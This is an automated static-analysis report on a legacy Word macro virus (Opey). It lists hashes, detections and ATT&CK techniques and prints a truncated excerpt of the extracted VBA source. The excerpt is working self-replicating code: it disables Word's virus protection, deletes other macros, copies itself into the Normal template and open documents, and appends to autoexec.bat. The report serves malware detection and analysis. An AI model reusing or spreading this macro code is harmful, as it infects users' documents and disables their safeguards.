Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4ff5fa0a62341ad1…

MALICIOUS

Office (OLE)

37.5 KB Created: 1997-04-26 16:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 71859d1485d9aa11b32cdc1d66a46094 SHA-1: f72f7e0d91e8211473a26d8d3fdec52c1efdf53c SHA-256: 4ff5fa0a62341ad1939499081d0fc259d58c631c20fdde4bde8d02a7b4a910d1
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

The sample is a legacy Word document containing VBA macros, specifically an AutoOpen macro. The macro attempts to append commands to 'c:\autoexec.bat', indicating an attempt to establish persistence or execute a secondary payload. ClamAV detections further support its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Opey-18 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Opey-18
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18647 bytes
SHA-256: feaa78891f40f84e846a8a45b3614a143e7bb931a7b637fc33f71eee31410c17
Detection
ClamAV: Doc.Trojan.Opey-15
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "A_OPEY_05"
Sub greetings()
    On Error Resume Next
        autoexecfile$ = "c:\autoexec.bat"
        hFile = FreeFile
        line1$ = ""
            If ((Month(Date) = 12) And (Day(Date) = 25)) Or ((Month(Date) = 1) And (Day(Date) = 1)) Then
                line1$ = "echo MERRY CHRISTMASS AND A HAPPY NEW YEAR !!!"
            End If
            If (Month(Date) = 11) And (Day(Date) = 1) Then
                line1$ = "echo HAPPY HALLOWEEN !!!"
            End If
            If (Month(Date) = 2) And (Day(Date) = 14) Then
                line1$ = "echo HAPPY VALENTINES DAY !!!"
            End If
            If (Month(Date) = 4) And (Day(Date) = 1) Then
                line1$ = "echo HAPPY LABOR DAY !!!"
            End If
            If (Month(Date) = 11) And (Day(Date) = 30) Then
                line1$ = "echo BONIFACIO DAY !!!"
            End If
            If (Month(Date) = 12) And (Day(Date) = 30) Then
                line1$ = "echo RIZAL DAY !!!"
            End If
            If (Month(Date) = 6) And (Day(Date) = 12) Then
                line1$ = "echo HAPPY INDEPENDENCE DAY !!!"
            End If
            If (Month(Date) = 4) And (Day(Date) >= 1) And (WeekDay(Date) >= 5) Then
                line1$ = "echo HOLY WEEK !!!"
            End If
               If line1$ <> "" Then
                    Open autoexecfile$ For Append Access Write As hFile
                        Print #hFile, "@echo off"
                        Print #hFile, line1$
                        Print #hFile, "echo from: OPEY A."
                        Print #hFile, "pause"
                    Close hFile
                End If
End Sub
Sub OnlyYou()
  On Error Resume Next
    Call A_OPEY_05
    NTInfected = False
        For I = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
            clan = NormalTemplate.VBProject.VBComponents(I).Name
                If clan = "A_OPEY_05" Then NTInfected = True
                If (clan <> "A_OPEY_05") And (clan <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
        Next I
        For Each opendoc In Documents
            ODInfected = False
            With opendoc
                For j = opendoc.VBProject.VBComponents.Count To 1 Step -1
                clan = opendoc.VBProject.VBComponents(j).Name
                    If clan = "A_OPEY_05" Then ODInfected = True
                    If (clan <> "A_OPEY_05") And (clan <> "ThisDocument") And (clan <> "Reference to Normal") Then Application.OrganizerDelete Source:=opendoc.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
                Next j
                If ODInfected = False Then
                    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=opendoc.FullName, Name:="A_OPEY_05", Object:=wdOrganizerObjectProjectItems
                End If
            End With
        Next opendoc
            If NTInfected = False Then
                Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="A_OPEY_05", Object:=wdOrganizerObjectProjectItems
                NormalTemplate.Save
            End If
    Call greetings
End Sub
Sub A_OPEY_05()
    On Error Resume Next
    Application.UserName = "OPEY A."
    Application.UserAddress = "CNNHS B'92 PHILIPPINES (CNSC)"
    Application.UserInitials = "LOVE"
    With Dialogs(wdDialogFileSummaryInfo)
        .Author = "OPEY A."
        .Title = "LOVE"
        .Execute
    End With
    With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
    With ActiveDocument
        .ReadOnlyRecommended = False
    End With
    On Er
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.